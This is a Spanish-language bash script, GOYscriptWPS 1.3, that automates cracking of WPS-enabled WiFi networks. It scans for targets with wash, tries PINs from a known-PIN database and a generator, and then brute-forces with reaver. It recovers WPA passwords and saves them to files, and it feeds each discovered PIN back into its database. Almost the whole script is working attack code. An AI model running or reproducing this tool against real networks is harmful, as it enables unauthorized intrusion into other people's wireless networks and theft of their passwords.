#!/bin/bash
# CAMBIOS
# version 1.0
#	- version inicial
# versión 1.1
#	- añadidos colores a la búsqueda de redes con wash en tiempo real (morado=contraseña ya descubierta, naranja=sesión anterior, rojo=red bloqueada)
#	- añadidos símbolos a la red (#=red en base datos WPSPinGeneratorMOD, *=red en base de datos de pins conocidos)
#	- implementada la función de generación del primer pin (2 métodos: 1- base de datos de pins conocidos y 2- WPSPinGeneratorMOD)
#	- corregidos varios bugs
# versión 1.2
# 	- corregido bug importante que impedía el ataque por fuerza bruta estándar
#	- mejorada la aplicación de la base de datos de pins conocidos. Antes sólo probaba el primero. Ahora los prueba todos.
# versión 1.3
#	- corregido bug de guardado de sesión por defecto para evitar interferir con otros programas
#	- mejorado fichero PINs.goy. Ahora se ordena y se borran automáticamente los duplicados.
#	- autoalimentación del fichero PINs.goy: cuando se descubre un PIN, éste se guarda también en la base de datos de pins conocidos
#	- antes de atacar con pins específicos se informa de cuantas MACs y PINs hay en la base de datos

##### CONSTANTES #####
VERSION="1.3"

#COLORES
negro="\033[0;30m"
rojo="\033[0;31m"
verde="\033[0;32m"
marron="\033[0;33m"
azul="\033[0;34m"
magenta="\033[0;35m"
cyan="\033[01;36m"
grisC="\033[0;37m"
gris="\033[1;30m"
rojoC="\033[1;31m"
verdeC="\033[1;32m"
amarillo="\033[1;33m"
azulC="\033[1;34m"
magentaC="\033[1;35m"
cyanC="\033[1;36m"
blanco="\033[1;37m"
subrayar="\E[4m"
parpadeoON="\E[5m"
parpadeoOFF="\E[0m"
resaltar="\E[7m"

#COMANDOS DE LA CARPETA "SOFTWARE"
HEAD="./software/./head"
TAIL="./software/./tail"
MACS="./software/MACs.goy"
AIRMON="./software/./airmon-ng"
WASH="wash"
REAVER="reaver"
WPSPIN="./software/./WPSPinGeneratorMOD"
MACS="./software/MACs.goy"
PINS="./software/PINs.goy"

#CREA LAS CARPETAS NECESARIAS
mkdir -p ./wifis > /dev/null 2>&1
mkdir -p ./wps/sesiones > /dev/null 2>&1
mkdir -p ./software > /dev/null 2>&1


function comprobar_ayuda
{
echo -e "$blanco"
echo "GOYscriptWPS $VERSION by GOYfilms"
echo
echo "Modo de uso: $0 [interfaz]"
echo
echo "Ejemplos: $0"
echo "          $0 wlan0"
echo -e "$grisC"
exit
}

#COMPRUEBA SI HAY INTERFACES EN MODO MONITOR Y, SI LAS HAY, LAS DESACTIVA
function desactivar_todos_monX
{
INTERFACES_MONITOR=`iwconfig --version | grep "Recommend" | awk '{print $1}' | grep mon`
let CUANTAS=`echo $INTERFACES_MONITOR | wc -w`
let CONT=1
while [ $CONT -le $CUANTAS ]
do
	INTERFAZ=`echo $INTERFACES_MONITOR | awk '{print $'$CONT'}'`
	$AIRMON stop $INTERFAZ > /dev/null 2>&1
	let CONT=$CONT+1
done
}

#DETIENE POSIBLES PROCESOS EN MARCHA (SE HACE 2 VECES SEGUIDAS CON UNA PAUSA ENTRE CADA UNA, PARA ASEGURARSE)
function matar_procesos()
{
echo -e "$cyan""\n$1"
echo -e "$grisC"
killall -q aircrack-ng airodump-ng aireplay-ng packetforge-ng ifconfig dhcpcd dhclient udhcpc wash reaver > /dev/null 2>&1
kill `ps -A | grep xterm | egrep -v '(GOYscriptWPS|goyscriptwps)' | awk '{print $1}'` > /dev/null 2>&1
sleep 2
kill `ps -A | grep xterm | egrep -v '(GOYscriptWPS|goyscriptwps)' | awk '{print $1}'` > /dev/null 2>&1
desactivar_todos_monX
}

#ESPERA A QUE SE PULSE UNA TECLA PARA CONTINUAR
function pulsar_una_tecla
{
echo
echo -e $amarillo"Pulsa una tecla para salir"$grisC" \c"
read -n 1 TECLA
echo
echo
exit
}

#NOMBRE Y VERSION DEL SCRIPT
function version
{
clear
echo -e "$blanco\c"
echo "+====================================+"
echo "|    GOYscriptWPS $VERSION by GOYfilms    |"
echo "+====================================+"
echo -e $grisC
}

#CALCULAMOS LA RESOLUCION DE LA PANTALLA. DEPENDIENDO DE LA VERSION DE "xandr" SE RECORTA DE UNA FORMA U OTRA
function mostrar_resolucion_de_pantalla
{
which xdpyinfo > /dev/null 2>&1
if [ $? -eq 0 ]
then
	RESOLUCION=`xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3`
else
	which xrandr > /dev/null 2>&1
	if [ $? -eq 0 ]
	then
		RESOLUCION=`xrandr | grep "*" | awk '{print $1}'`
		RESOLUCION=`echo $RESOLUCION | grep "x"`
		if [ "$RESOLUCION" = "" ]
		then
			RESOLUCION=`xrandr | grep "current" | awk -F "current" '{print $2}' | awk -F " " '{print $1$2$3}' | awk -F "," '{print $1}'`
			RESOLUCION=`echo $RESOLUCION | grep "x"`
		fi
		if [ "$RESOLUCION" = "" ]
		then
			RESOLUCION=`xrandr | grep "*" | awk '{print $2$3$4}'`
			RESOLUCION=`echo $RESOLUCION | grep "x"`
		fi
	else
		which Xvesa > /dev/null 2>&1
		if [ $? -eq 0 ]
		then
			RESOLUCION=`Xvesa -listmodes 2>&1 | grep ^0x | awk '{ printf "%s %s\n",$2,$3 }' | sort -n | grep x[1-2][4-6] | tail -n 1 | awk -F 'x' '{print $1"x"$2}'` 
		else
			RESOLUCION=""
		fi
	fi
fi
echo -e ""$cyan"Resolucion de pantalla actual: "$verdeC"$RESOLUCION"$grisC""
echo
VENTANA_WASH="-geometry 100x100-0+0"
VENTANA_REAVER="-geometry 72x100-0+0"
case $RESOLUCION in
	1024x600)
		VENTANA_WASH="-geometry 90x100-0+0"
		VENTANA_REAVER="-geometry 72x100-0+0";;
esac	
}

#SELECCION DE TARJETA WiFi
function seleccionar_tarjeta
{
$AIRMON stop mon0 > /dev/null 2>&1
TARJETAS_WIFI_DISPONIBLES=`iwconfig --version | grep "Recommend" | awk '{print $1}'`
let N_TARJETAS_WIFI=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print NF}'`
if [ "$TARJETAS_WIFI_DISPONIBLES" = "" ]
then
	echo -e ""$rojoC"ERROR: No se ha detectado ninguna tarjeta WiFi"
	echo -e "$grisC"
	pulsar_una_tecla
else
	echo -e ""$cyan"Tarjetas WiFi disponibles:"$grisC""
	echo
	x=1
	while [ $x -le $N_TARJETAS_WIFI ]
	do
		INTERFAZ=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print $'$x'}'`
		DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`
		MAC=`ifconfig $INTERFAZ | grep "$INTERFAZ" | $TAIL --bytes 20 | $HEAD --bytes 8 | awk '{print toupper($0)}'` #extraemos la MAC XX:XX:XX (solo los 3 primeros pares)
		if [ "$MAC" = "00-00-00" ] #SI LA INTERFAZ ESTA EN MODO MONITOR VARIA EL METODO PARA EXTRAER LA MAC
		then
			MAC=`ifconfig $INTERFAZ | grep "$INTERFAZ" | awk '{print $5}' | $HEAD --bytes 8 | awk '{gsub(/-/,":"); print}' | awk '{print toupper($0)}'` #extraemos la MAC
		fi
		FABRICANTE_INTERFAZ=`grep $MAC $MACS | awk -F '#' '{print $2}'`
		if [ "$FABRICANTE_INTERFAZ" = "" ]
		then
			FABRICANTE_INTERFAZ="<Desconocido>"
		fi
		if [ $x -eq 1 ]
		then
			echo -e ""$cyan" Nº\tINTERFAZ\tDRIVER\t\tFABRICANTE"
			echo -e ""$cyan" ==\t========\t======\t\t=========="
		fi
		CARACTERES_DRIVER=`echo $DRIVER | wc -c` 
		if [ $CARACTERES_DRIVER -gt 8 ] #CONTROLA LA TABULACION DEPENDIENDO DE LOS CARACTERES QUE TENGA LA VARIABLE "DRIVER"
		then
			TAB=""
		else
			TAB="\t"
		fi
		echo -e ""$amarillo" $x)\t$INTERFAZ \t\t$DRIVER\t"$TAB"$FABRICANTE_INTERFAZ"
		x=$((x+1))
	done
	if [ $N_TARJETAS_WIFI -gt 1 ] # SI DETECTA MAS DE UNA NOS PREGUNTA CUAL QUEREMOS
	then
		echo -e "\n"$cyan"\nSelecciona una tarjeta WiFi:\c"
		echo -e ""$amarillo" \c"
		read -n 1 OPCION
		while [[ $OPCION < 1 ]] || [[ $OPCION > $N_TARJETAS_WIFI ]]
		do
			echo -en "\a\033[10C"$rojoC"OPCION NO VALIDA"$grisC""
			echo -en ""$cyan"\rSelecciona una tarjeta WiFi: "$amarillo"\c"
			read -n 1 OPCION
		done
	else
		OPCION=1
	fi
	echo -en "\a\033[10C                "$grisC"" #BORRA EL MENSAJE DE "OPCION NO VALIDA"
fi
if [ $N_TARJETAS_WIFI -gt 1 ] # SI DETECTA MAS DE UNA VARIA EL MENSAJE
then
	INTERFAZ=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print $'$OPCION'}'`
	echo -e "\n"
	echo -e ""$cyan"Has seleccionado: "$verdeC"$INTERFAZ"$grisC""
	echo
else
	echo
	echo -e ""$cyan"Solo se ha detectado una tarjeta WiFi: "$verdeC"$INTERFAZ"$grisC""
	echo
fi
}


#INICIALIZACION DE LA TARJETA
function iniciar_tarjeta
{
echo -e ""$cyan"Iniciando la tarjeta WiFi..."$grisC""
echo
ifconfig $INTERFAZ down
MAC_INTERFAZ=`ifconfig $INTERFAZ | grep "$INTERFAZ" | $TAIL --bytes 20 | $HEAD --bytes 17 | awk '{print toupper($0)}'` #extraemos la MAC de la interfaz del comando 'ifconfig'
if [ "$MAC_INTERFAZ" = "00-00-00-00-00-00" ] #SI LA INTERFAZ ESTA EN MODO MONITOR VARIA EL METODO PARA EXTRAER LA MAC
then
	MAC_INTERFAZ=`ifconfig $INTERFAZ | grep "$INTERFAZ" | awk '{print $5}' | $HEAD --bytes 17  | awk '{gsub(/-/,":"); print}' | awk '{print toupper($0)}'` #extraemos la MAC
fi
ifconfig $INTERFAZ up
iwconfig $INTERFAZ rate 1M
}

#ACTIVA EL MODO MONITOR DE LA INTERFAZ
function activar_modo_monitor
{
echo -e ""$cyan"Activando modo monitor en $INTERFAZ [MAC="$MAC_INTERFAZ"]..."$grisC""
echo
$AIRMON start $INTERFAZ $CANAL
ifconfig mon0 > /dev/null 2>&1
if [ $? = 0 ] #SI LA ORDEN ANTERIOR SE COMPLETO CORRECTAMENTE, SIGNIFICA QUE EXISTE LA INTERFAZ "mon0"
then
	INTERFAZ_MONITOR=mon0
else
	INTERFAZ_MONITOR=$INTERFAZ
fi
}

#ESCANEAR LAS REDES WPS
function buscar_redes_wps
{
echo -e ""$cyan"Buscando redes WiFi con WPS activado... "$grisC""
echo
echo -e "$cyan"
echo -e "$parpadeoON+================================+"
echo -e "|                                |"
echo -e "|$parpadeoOFF "$cyan" PULSA CONTROL+C PARA DETENER  $parpadeoON|"
echo -e "|$parpadeoOFF "$cyan" LA  BUSQUEDA  Y  SELECCIONAR  $parpadeoON|"
echo -e "|$parpadeoOFF "$cyan" UNA DE LAS REDES DETECTADAS   $parpadeoON|"
echo -e "|                                |"
echo -e "+================================+"
echo -e "$parpadeoOFF""$grisC"
rm -rf "wps/redes_wps.lst"  > /dev/null 2>&1 #Borra la busqueda anterior
xterm -iconic -e $WASH -i $INTERFAZ_MONITOR -C -o wps/redes_wps.lst > /dev/null 2>&1 &
xterm $VENTANA_WASH -title "Buscando redes WiFi con WPS activado" -e software/./goyscriptWPS.mostrar_redes_wps
killall wash
}

function seleccionar_red_wps
{
let LINEAS=`cat wps/redes_wps_sin_titulo.lst | wc -l`
if [ $LINEAS -ne 0 ]
then
	clear
	echo -e ""$cyan"\c"
	echo "                 Redes WiFi detectadas con WPS activado              "
	echo "                 ======================================              "
	echo
	echo "  Nº           MAC             CANAL    SEÑAL    BLOQUEO   NOMBRE DE RED"
	echo "  ==    =================      =====    =====    =======   ============="
	let LINEAS=`cat wps/redes_wps_sin_titulo.lst | wc -l`
	let LINEA=1
	while [ $LINEA -le $LINEAS ]
	do
		if [ $LINEA -le 9 ] #ALINEA A LA DERECHA EL NUMERO DE OPCION
		then
			ESPACIO1=" "
		else
			ESPACIO1=""
		fi
		FILA=`cat wps/redes_wps_sin_titulo.lst | sed -n ${LINEA}p`
		BSSID=`echo "$FILA" | awk '{print $1}'`
		let CANAL=`echo "$FILA" | awk '{print $2}'`
		if [ $CANAL -le 9 ] #ALINEA A LA DERECHA EL CANAL Y CORRIGE EL NOMBRE DE RED DEPENDIENDO DE LOS CARACTERES DEL CANAL
		then
			ESPACIO2=" "
		else
			ESPACIO2=""
		fi
		let SENAL=`echo "$FILA" | awk '{print $3}'`
		let SENAL=`expr $SENAL + 100` #PONE EN POSITIVO EL PORCENTAJE DE SEÑAL
		if [ $SENAL -le 9 ] #ALINEA A LA DERECHA EL PORCENTAJE DE LA SEÑAL
		then
			ESPACIO3=" "
		else
			ESPACIO3=""
		fi
		BLOQUEO=`echo "$FILA" | awk '{print $5}'`
		NOMBRE_RED=`echo "$FILA" | awk '{print substr ($0,57,100)}'`
		MAC_GUIONES=`echo $BSSID | awk '{gsub(/:/,"-"); print}'`
		BSSID_3PARES=`echo "$BSSID" | head --bytes 8`
		MARCA=`grep "$BSSID_3PARES" "$WPSPIN"`
		if [ "$MARCA" != "" ]
		then
			MARCA='#'
		else
			MARCA=`grep "$BSSID_3PARES" "$PINS"`
			if [ "$MARCA" != "" ]
			then
				MARCA='*'
			else
				MARCA=' '
			fi
		fi

		EXISTE_KEY=`find wifis | grep "$NOMBRE_RED ($MAC_GUIONES).txt"`
		EXISTE_SESION=`find wps/sesiones | grep "$NOMBRE_RED ($MAC_GUIONES).wps"`
		if [ ! "$EXISTE_KEY" = "" ]
		then
			COLOR="$magenta" #SI YA CONSEGUIMOS LA CLAVE ANTES APARECERA LA RED EN MAGENTA
		else
			if [ ! "$EXISTE_SESION" = "" ]
			then
				COLOR="$marron" #SI TENEMOS SESION ANTERIOR GUARDADA APARECERA EN MARRON
			else
				COLOR="$blanco" #SI NO SE DAN LOS CASOS ANTERIORES APARECERA EN BLANCO
			fi
		fi
		if [ "$BLOQUEO" = "No" ]
		then
			BLOQUEO="NO"
		else
			BLOQUEO="SI"
			COLOR="$rojoC"
		fi
		echo -e "$COLOR $ESPACIO1$LINEA)$MARCA   $BSSID       $ESPACIO2$CANAL       $ESPACIO3$SENAL%       $BLOQUEO      $NOMBRE_RED"
		let LINEA=$LINEA+1
	done

else
	echo -e "$rojoC"
	echo "No se ha encontrado ninguna red WiFi con WPS activado"
	echo -e "$grisC"
	pulsar_una_tecla
fi
echo
if [ $LINEAS -eq 1 ] #SI SOLO SE HA DETECTADO UNA RED YA NO ES NECESARIO ESCOGER Y ATACARA ESA
then
	SELECCION=1
else
	echo -e ""$cyan"\rSelecciona una red de la lista: "$amarillo"\c"
	read SELECCION
fi
while [[ $SELECCION -lt 1 ]] || [[ $SELECCION -gt $LINEAS ]]
do
	echo -en "\a\033[1A\033[40C"$rojoC"OPCION NO VALIDA"$grisC""
	echo -en "\a\r"$cyan"Selecciona una red de la lista: "$amarillo"\c"
	read SELECCION
done
FILA=`cat wps/redes_wps_sin_titulo.lst | sed -n ${SELECCION}p`
BSSID=`echo "$FILA" | awk '{print $1}'`
let CANAL=`echo "$FILA" | awk '{print $2}'`
NOMBRE_RED=`echo "$FILA" | awk '{print substr ($0,57,100)}'`
MAC_GUIONES=`echo $BSSID | awk '{gsub(/:/,"-"); print}'`
}

#MUESTRA INFORMACIÓN DEL FABRICANTE DEL PUNTO DE ACCESO BASÁNDOSE EN LOS 3 PRIMEROS PARES DE LA MAC
function mostrar_fabricante_ap
{
MAC_AP_3PARES=`echo "$BSSID" | head --bytes 8` #RECORTAMOS LOS 3 PRIMEROS PARES DE LA MAC DEL AP
FABRICANTE_AP=`grep $MAC_AP_3PARES $MACS | awk -F "#" '{print $2}'` #BUSCAMOS EN LA BASE DE DATOS
if [ "$FABRICANTE_AP" = "" ]
then
	FABRICANTE_AP="$rojoC<Desconocido>"
fi
echo
echo -e $cyanC"Fabricante del AP:$amarillo $FABRICANTE_AP"
echo -e $grisC
}

#INICIA EL ATAQUE CON 'reaver'
function iniciar_reaver
{
rm -rf "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log"  > /dev/null 2>&1 #Borra el log anterior
echo -e $cyanC"Atacando la red $blanco$NOMBRE_RED$cyanC..."
echo
if [ ! -e "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).wps" ] #SI NO HAY SESIÓN ANTERIOR GUARDADA COMPROBAMOS SI LA MAC ESTA EN LA BASE DE DATOS DE PINs CONOCIDOS
then							#Y SINÓ EJECUTAMOS EL ALGORITMO DEL WPSPinGeneratorMOD PARA INTENTAR AVERIGUAR EL PIN
	echo -e $cyanC"Iniciando ataques con pin específico..."
	echo
	organizar_PINS
	FICHADO=`grep "$MAC_AP_3PARES" "$PINS"`
	if [ "$FICHADO" != "" ]
	then
		let CUANTOS=`echo "$FICHADO" | wc -l` # PARA SABER CUANTOS PINS HAY PARA LA MAC DEL AP
		if [ $CUANTOS -eq 1 ]
		then
			echo -e $verdeC"Se ha encontrado$blanco 1$verdeC pin conocido en la base de datos."
		else
			echo -e $verdeC"Se han encontrado$blanco $CUANTOS$verdeC pins conocidos en la base de datos."
		fi
		echo
		let CONT=1
		while [ $CONT -le $CUANTOS ] && [ ! -e "wifis/$NOMBRE_RED ($MAC_GUIONES).txt" ]
		do
			PIN_A_PROBAR=`echo "$FICHADO" | sed -n ${CONT}p | awk -F '-' '{print $2}'`
			echo -e $verdeC"Probando pin conocido [$CONT de $CUANTOS]: $blanco$PIN_A_PROBAR$verdeC..."
			echo
			probar_un_solo_pin
			let CONT=$CONT+1
		done
	else
		echo -e $rojoC"El AP seleccionado no figura en la base de datos de pins conocidos."
		echo
	fi
	if [ ! -e "wifis/$NOMBRE_RED ($MAC_GUIONES).txt" ]
	then
		PIN_A_PROBAR=`$WPSPIN "$BSSID" "$NOMBRE_RED"`
		echo -e $verdeC"Probando pin $blanco$PIN_A_PROBAR$verdeC generado por WPSPinGeneratorMOD..."
		echo
		probar_un_solo_pin
	fi
	if [ ! -e "wifis/$NOMBRE_RED ($MAC_GUIONES).txt" ]
	then
		echo -e $rojoC"Los ataques con pin específico no han dado resultado."
		echo
	fi
fi
sleep 1
if [ ! -e "wifis/$NOMBRE_RED ($MAC_GUIONES).txt" ]
then
	echo -e $cyanC"Iniciando ataque estándar (fuerza bruta)..."
	echo
	xterm -iconic -e $REAVER -i $INTERFAZ_MONITOR $PRIMER_PIN -b $BSSID -c $CANAL -s "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).wps" -o "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" -vv -a   > /dev/null 2>&1 &
	echo "$NOMBRE_RED ($MAC_GUIONES)" > "wps/sesiones/log_actual"
	mostrar_numero_pines_probados &
fi
}

#PRUEBA UN SOLO PIN CON 'reaver'.
function probar_un_solo_pin
{
xterm -iconic -e $REAVER -i $INTERFAZ_MONITOR -p $PIN_A_PROBAR -b $BSSID -c $CANAL -g 1 -s "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).wps" -o "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" -vv   > /dev/null 2>&1 &
echo "$NOMBRE_RED ($MAC_GUIONES)" > "wps/sesiones/log_actual"
mostrar_log_reaver
rm -rf "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).wps" 	# EN ESTA FUNCIÓN NO ES NECESARIO GUARDAR LA SESIÓN DE 'reaver', PERO SE HACE PARA EVITAR QUE LA GUARDE AUTOMÁTICAMENTE
}														# EN LA CARPETA DE TRABAJO POR DEFECTO. LUEGO LA BORRAMOS PARA EVITAR CONFLICTOS CON OTROS PROGRAMAS.

#MIENTRAS SE EJECUTA 'reaver' SE MUESTRAN CUANTOS PINES HAN SIDO PROBADOS
function mostrar_numero_pines_probados
{
sleep 2
REAVER_FUNCIONANDO=`ps -A | grep reaver`
if [ -e "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).info" ]
then
	echo -e "\n\n\n\n\n\n"
	PINES_ANTERIOR=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).info" | sed -n 1p`
	while [ "$REAVER_FUNCIONANDO" != "" ]
	do
		let PINES=`grep -e "Trying pin" -e "Probando pin" "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | awk -F "pin " '{print $2}' | sort -u | wc -l`
		if [ $PINES -ne 0 ]
		then
			let PINES=$PINES-1 #Para que muestre el valor de los pines probados (el actual se está "probando")
		fi
		let PINES_TOTAL=`expr $PINES + $PINES_ANTERIOR`
		let ERRORES0X02=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep "0x02" | wc -l`
		let ERRORES0X03=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep "0x03" | wc -l`
		COMPLETADO=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep "%" | tail -n 1 | awk -F '%' '{print $1}' | sed 's/\[+\]//g' | sed 's/ //g' | sed 's/\./,/g'`
		CONCOLOR=`echo "$COMPLETADO" | grep "m"`
		if [ "$CONCOLOR" != "" ] #ELIMINA EL FORMATO DE COLOR AL PORCENTAJE SI LO TIENE
		then
			COMPLETADO=`echo $COMPLETADO | awk -F "m" '{print $2}'`
		fi
		RATIO=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep "%" | tail -n 1 | awk -F '(' '{print $2}' | awk -F " " '{print $1}'`
		if [ "$COMPLETADO" = "" ]
		then
			COMPLETADO_ANTERIOR=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).info" | sed -n 2p`
			if [ "$COMPLETADO_ANTERIOR" = "" ]
			then
				COMPLETADO="$rojoC?"
			else
				COMPLETADO=$COMPLETADO_ANTERIOR
			fi
			RATIO="$rojoC?"
		fi
		echo -e "\033[8A" #SUBE EL CURSOR 8 FILAS
		echo -e $cyanC" PINs en esta sesion.....: $amarillo$PINES"
		echo -e $cyanC" PINs probados en total..: $blanco$PINES_TOTAL"
		echo -e $cyanC" Errores 0x02............: $amarillo$ERRORES0X02"
		echo -e $cyanC" Errores 0x03............: $amarillo$ERRORES0X03"
		echo -e $cyanC" Ratio...................: $amarillo$RATIO$amarillo segundos/pin\033[K"
		echo -e $cyanC" Completado..............: $amarillo$COMPLETADO$amarillo %\033[K"
		echo -e
		sleep 1
		if [ "$COMPLETADO" == "$rojoC?" ]
		then
			COMPLETADO="?"
		fi
		if [ -e "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).wps" ]
		then
			echo $PINES_TOTAL > "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).info"
			echo $COMPLETADO >> "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).info"
		fi
		REAVER_FUNCIONANDO=`ps -A | grep reaver`
	done
else
	echo -e "\n\n\n\n"
	while [ "$REAVER_FUNCIONANDO" != "" ]
	do
		let PINES=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep -e "Trying pin" -e "Probando pin" | awk -F "pin " '{print $2}' | sort -u | wc -l`
		if [ $PINES -ne 0 ]
		then
			let PINES=$PINES-1 #Para que muestre el valor de los pines probados (el actual se está "probando")
		fi
		let ERRORES0X02=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep "0x02" | wc -l`
		let ERRORES0X03=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep "0x03" | wc -l`
		COMPLETADO=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep "%" | tail -n 1 | awk -F '%' '{print $1}' | sed 's/\[+\]//g' | sed 's/ //g' | sed 's/\./,/g'`
		CONCOLOR=`echo "$COMPLETADO" | grep "m"`
		if [ "$CONCOLOR" != "" ] #ELIMINA EL FORMATO DE COLOR AL PORCENTAJE SI LO TIENE
		then
			COMPLETADO=`echo $COMPLETADO | awk -F "m" '{print $2}'`
		fi
		RATIO=`cat "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" | grep "%" | tail -n 1 | awk -F '(' '{print $2}' | awk -F " " '{print $1}'`
		if [ "$COMPLETADO" = "" ]
		then
			COMPLETADO="$rojoC?"
			RATIO="$rojoC?"
		fi
		echo -e "\033[6A"
		echo -e $cyanC" PINs probados........: $amarillo$PINES"
		echo -e $cyanC" Errores 0x02.........: $amarillo$ERRORES0X02"
		echo -e $cyanC" Errores 0x03.........: $amarillo$ERRORES0X03"
		echo -e $cyanC" Ratio................: $amarillo$RATIO$amarillo segundos/pin\033[K"
		echo -e $cyanC" Completado...........: $amarillo$COMPLETADO$amarillo %\033[K"
		sleep 1
		if [ "$COMPLETADO" == "$rojoC?" ]
		then
			COMPLETADO="?"
		fi
		if [ -e "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).wps" ]
		then
			echo $PINES > "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).info"
			echo $COMPLETADO >> "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).info"
		fi
		REAVER_FUNCIONANDO=`ps -A | grep reaver`
	done
fi
echo -e $cyanC
echo
}

#MUESTRA EL LOG DE 'reaver" el cual esta corriendo en segundo plano
#esto lo hago para poder guardar en un archivo txt la contraseña WPA cuando la encuentre
function mostrar_log_reaver
{
while true
do
	if [ -e "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).log" ]
	then
		break
	else
		sleep 1
	fi
done
xterm $VENTANA_REAVER -title "Atacando la red \"$NOMBRE_RED\"" -e software/./goyscriptWPS.mostrar_log_reaver
}

#MUESTRA EL PIN Y LA CONTRASEÑA WPA AL FINALIZAR
function mostrar_password
{
if [ -e "wifis/$NOMBRE_RED ($MAC_GUIONES).txt" ]
then
	echo -e $verdeC$parpadeoON"¡¡¡ CONTRASEÑA ENCONTRADA !!!"$parpadeoOFF
	echo -e $blanco
	cat "wifis/$NOMBRE_RED ($MAC_GUIONES).txt"
	echo -e $grisC
	echo "Contraseña guardada en el archivo"
	echo -e $cyanC"\"$NOMBRE_RED ($MAC_GUIONES).txt\""
	echo -e $grisC"dentro de la carpeta \"wifis\""
	echo
pulsar_una_tecla
else
	echo -e $rojoC"Se ha cancelado el proceso"
	sleep 1
	if [ -e "wps/sesiones/$NOMBRE_RED ($MAC_GUIONES).wps" ]
	then
		echo -e $verdeC
		echo "Sesion guardada"
	fi
	echo -e $grisC
	sleep 1
	pulsar_una_tecla
fi
}

function organizar_PINS
{
mv "$PINS" "$PINS.tmp"
sort -u "$PINS.tmp" > "$PINS"
rm -rf "$PINS.tmp"  > /dev/null 2>&1
let CUANTAS_MAC=`cat "$PINS" | awk -F '-' '{print $1}' | sort -u | wc -l`
let CUANTOS_PIN=`cat "$PINS" | wc -l`
echo -e $cyanC"BASE DE DATOS: $blanco$CUANTAS_MAC$verdeC MACs y $blanco$CUANTOS_PIN$verdeC PINs."
echo -e $grisC
}


##### PROGRAMA PRINCIPAL #####

if [ "$1" == "--help" ] || [ "$1" == "--ayuda" ] || [ "$1" == "/?" ]
then
	comprobar_ayuda
fi

matar_procesos " Iniciando..."

version

if [[ -e "/sys/class/net/$1/device/driver" ]]  #Para controlar si existe la interfaz pasada como parametro.
then                                           #Si no existe, muestra las que hay para que seleccionemos una
	INTERFAZ=$1
else
	seleccionar_tarjeta
fi

mostrar_resolucion_de_pantalla

iniciar_tarjeta

activar_modo_monitor

buscar_redes_wps

seleccionar_red_wps

mostrar_fabricante_ap

iniciar_reaver

mostrar_log_reaver

killall -q reaver

sleep 2

mostrar_password

sleep 1
echo -e $grisC
